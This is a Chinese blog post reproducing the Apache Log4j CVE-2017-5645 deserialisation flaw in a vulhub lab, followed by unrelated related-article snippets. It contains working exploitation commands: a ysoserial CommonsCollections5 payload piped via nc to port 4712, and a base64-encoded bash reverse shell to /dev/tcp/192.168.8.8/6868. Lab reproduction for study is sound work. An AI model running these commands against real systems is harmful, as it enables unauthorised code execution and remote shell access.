【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 1.1、漏洞描述
      • 1.2、漏洞等级
      • 1.3、影响版本
      • 1.4、漏洞复现
        • 1、基础环境
        • 2、漏洞扫描
        • 3、漏洞验证
      • 1.5、深度利用
        • 1、反弹Shell

说明内容
漏洞编号CVE-2017-5645
漏洞名称Log4j Server 反序列化命令执行漏洞
漏洞评级高危
影响范围Apache Log4j 2.8.2之前的2.x版本
漏洞描述
修复方案

1.1、漏洞描述

攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。

1.2、漏洞等级

漏洞危害评分:7.5,攻击者可利用该漏洞执行任意代码。

1.3、影响版本

Apache Log4j 2.8.2之前的2.x版本

1.4、漏洞复现

1、基础环境

kali环境IP地址:192.168.8.8

Path:vulhub/log4j/CVE-2017-5645


启动测试环境:

sudo docker-compose up -d
2、漏洞扫描
3、漏洞验证

扫描目标开启的端口

在这里插入图片描述

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

https://github.com/frohoff/ysoserial

下载打包好的jar文件到我们的kali主机上

在这里插入图片描述
进行利用,先创建一个文件,来进行测试

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/saury" | nc 192.168.8.8 4712

在这里插入图片描述

1.5、深度利用

1、反弹Shell
bash -i >& /dev/tcp/192.168.8.8/6868 0>&1

将反弹shell进行base64编码

在这里插入图片描述

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguOC82ODY4IDA+JjE=

shell反弹

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguOC82ODY4IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.8.8 4712

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/162073.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【实战Flask API项目指南】之七 用JWT进行用户认证与授权

实战Flask API项目指南之 用JWT进行用户认证与授权 本系列文章将带你深入探索实战Flask API项目指南,通过跟随小菜的学习之旅,你将逐步掌握 Flask 在实际项目中的应用。让我们一起踏上这个精彩的学习之旅吧! 前言 当小菜踏入Flask后端开发…

10个免费3D模型网站

作为一名独立游戏开发者,自己创建图形、配乐、动画和更多东西是相当具有挑战性的。 创建资产所需的成本和时间有时是许多游戏开发商无法承受的。 这就是他们选择在互联网上搜索免费内容的原因。现在,在浩瀚的内容海洋中获得如此免费的东西有点困难。 本文列出了 10 个免费 3D…

【Spring】注解

文章目录 1. 前言2.注解开发的准备工作3. IOC相关注解DI相关注解 4. DI相关注解4.1 Value4.2 AutoWired4.3 Qualifier 5. xml配置文件相关注解5.1 Configuration5.2 ComponensScan 6.Bean注解7. PropertySource 1. 前言 Spring支持使用注解代替xml配置,注解开发可以简化配置. …

NSSCTF web刷题记录4

文章目录 [NSSRound#4 SWPU]1zweb(revenge)[强网杯 2019]高明的黑客[BJDCTF 2020]Cookie is so subtle![MoeCTF 2021]fake game[第五空间 2021]PNG图片转换器[ASIS 2019]Unicorn shop[justCTF 2020]gofs[UUCTF 2022 新生赛]phonecode[b01lers 2020]Life On Mars[HZNUCTF 2023 f…

Educational Codeforces Round 2 D 计算几何

题目链接:Educational Codeforces Round 2 D 题目 给你两个圆。求它们相交处的面积。 输入 第一行包含三个整数 x1, y1, r1 (  - 109 ≤ x1, y1 ≤ 109, 1 ≤ r1 ≤ 109 ) - 第一个圆的圆心位置和半径。 第二行包含三个整数 x2, y2, r2 (  …

【Pytorch】计算机视觉项目——卷积神经网络CNN模型识别图像分类

目录 一、前言二、CNN可视化解释器1. 卷积层工作原理 三、详细步骤说明1. 数据集准备2.DataLoader3. 搭建模型CNN3.1 设置设备3.2 搭建CNN模型3.3 设置loss 和 optimizer3.4 训练和测试循环 4. 模型评估和结果输出 一、前言 在上一篇笔记《【Pytorch】整体工作流程代码详解&am…

虚析构函数

1)类指针指向本身的对象 Son *xiaoming new Son; delete xiaoming; 构造及析构顺序: 父类构造 子类构造; 子类析构; 父类析构。 2)父类指针指向子类对象,,父类析构函数不是虚函数 Father *father new Son; delete f…

YOLOv5源码中的参数超详细解析(5)— 验证部分(val.py)参数解析

前言:Hello大家好,我是小哥谈。YOLOv5是一种先进的目标检测算法,它可以实现快速和准确的目标检测。在YOLOv5源码中,train.py和detect.py文件讲完了之后,接着就是讲val.py文件了。本节课就结合源码对val.py文件进行逐行解析~!🌈 前期回顾: YOLOv5源码中的参数超详细解…

RK3566上运行yolov5模型进行图像识别

一、简介 本文记录了依靠RK官网的文档,一步步搭建环境到最终在rk3566上把yolov5 模型跑起来。最终实现的效果如下: 在rk3566 板端运行如下app: ./rknn_yolov5_demo model/RK356X/yolov5s-640-640.rknn model/bus.jpg其中yolov5s-640-640.r…

GPT学习笔记

百度的文心一言 阿里的通义千问 通过GPT能力,提升用户体验和产品力 GPT的出现是AI的iPhone时刻。2007年1月9日,第一代iPhone发布,开启移动互联网时代。新一轮的产业革命。 GPT模型发展时间线: Copilot - 副驾驶 应用&#xf…

基于DevEco Studio的OpenHarmony应用原子化服务(元服务)入门教程

一、创建项目 二、创建卡片 三、应用服务代码 Index.ets Entry Component struct Index {State TITLE: string OpenHarmony;State CONTEXT: string 创新召见未来!;build() {Row() {Column() {Text(this.TITLE).fontSize(30).fontColor(0xFEFEFE).fontWeight(…

基于SpringAOP实现自定义接口权限控制

文章目录 一、接口鉴权方案分析1、接口鉴权方案2、角色分配权限树 二、编码实战1、定义权限树与常用方法2、自定义AOP注解3、AOP切面类(也可以用拦截器实现)4、测试一下 一、接口鉴权方案分析 1、接口鉴权方案 目前大部分接口鉴权方案,一般…